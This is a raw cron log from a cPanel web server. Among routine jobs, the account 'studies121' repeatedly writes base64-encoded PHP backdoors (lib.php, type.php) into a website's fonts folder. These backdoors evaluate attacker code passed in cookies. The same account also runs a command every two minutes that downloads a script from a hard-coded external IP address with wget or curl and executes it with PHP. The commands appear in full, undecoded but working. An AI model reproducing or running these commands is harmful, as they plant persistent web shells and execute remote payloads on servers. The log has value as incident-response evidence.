Sep  3 05:21:01 ip-184-168-122-23 CROND[8099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:21:01 ip-184-168-122-23 CROND[8100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:21:01 ip-184-168-122-23 CROND[8103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:21:01 ip-184-168-122-23 CROND[8102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:22:01 ip-184-168-122-23 CROND[8204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:22:01 ip-184-168-122-23 CROND[8205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:22:01 ip-184-168-122-23 CROND[8206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:22:01 ip-184-168-122-23 CROND[8208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:22:01 ip-184-168-122-23 CROND[8209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:23:01 ip-184-168-122-23 CROND[8331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:23:01 ip-184-168-122-23 CROND[8334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:23:01 ip-184-168-122-23 CROND[8332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:23:01 ip-184-168-122-23 CROND[8333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:24:01 ip-184-168-122-23 CROND[8417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:24:01 ip-184-168-122-23 CROND[8420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:24:01 ip-184-168-122-23 CROND[8419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:24:01 ip-184-168-122-23 CROND[8421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:24:01 ip-184-168-122-23 CROND[8422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:25:01 ip-184-168-122-23 CROND[8690]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:25:01 ip-184-168-122-23 CROND[8692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:25:01 ip-184-168-122-23 CROND[8696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:25:01 ip-184-168-122-23 CROND[8697]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:25:01 ip-184-168-122-23 CROND[8699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:25:01 ip-184-168-122-23 CROND[8701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:26:01 ip-184-168-122-23 CROND[9115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:26:01 ip-184-168-122-23 CROND[9117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:26:01 ip-184-168-122-23 CROND[9118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:26:01 ip-184-168-122-23 CROND[9120]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:26:01 ip-184-168-122-23 CROND[9119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:27:01 ip-184-168-122-23 CROND[9213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:27:01 ip-184-168-122-23 CROND[9215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:27:01 ip-184-168-122-23 CROND[9216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:27:01 ip-184-168-122-23 CROND[9217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:28:01 ip-184-168-122-23 CROND[9360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:28:01 ip-184-168-122-23 CROND[9363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:28:01 ip-184-168-122-23 CROND[9364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:28:01 ip-184-168-122-23 CROND[9365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:28:01 ip-184-168-122-23 CROND[9362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:29:01 ip-184-168-122-23 CROND[9482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:29:01 ip-184-168-122-23 CROND[9483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:29:01 ip-184-168-122-23 CROND[9487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:29:01 ip-184-168-122-23 CROND[9486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:30:01 ip-184-168-122-23 CROND[9672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:30:01 ip-184-168-122-23 CROND[9671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:30:01 ip-184-168-122-23 CROND[9670]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 05:30:01 ip-184-168-122-23 CROND[9673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:30:01 ip-184-168-122-23 CROND[9678]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  3 05:30:01 ip-184-168-122-23 CROND[9680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:30:01 ip-184-168-122-23 CROND[9686]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:30:01 ip-184-168-122-23 CROND[9685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:30:01 ip-184-168-122-23 CROND[9683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:31:01 ip-184-168-122-23 CROND[9862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:31:01 ip-184-168-122-23 CROND[9863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:31:01 ip-184-168-122-23 CROND[9864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:31:01 ip-184-168-122-23 CROND[9866]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 05:31:01 ip-184-168-122-23 CROND[9867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:32:01 ip-184-168-122-23 CROND[10070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:32:01 ip-184-168-122-23 CROND[10072]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:32:01 ip-184-168-122-23 CROND[10074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:32:01 ip-184-168-122-23 CROND[10077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:32:01 ip-184-168-122-23 CROND[10073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:33:01 ip-184-168-122-23 CROND[10171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:33:01 ip-184-168-122-23 CROND[10173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
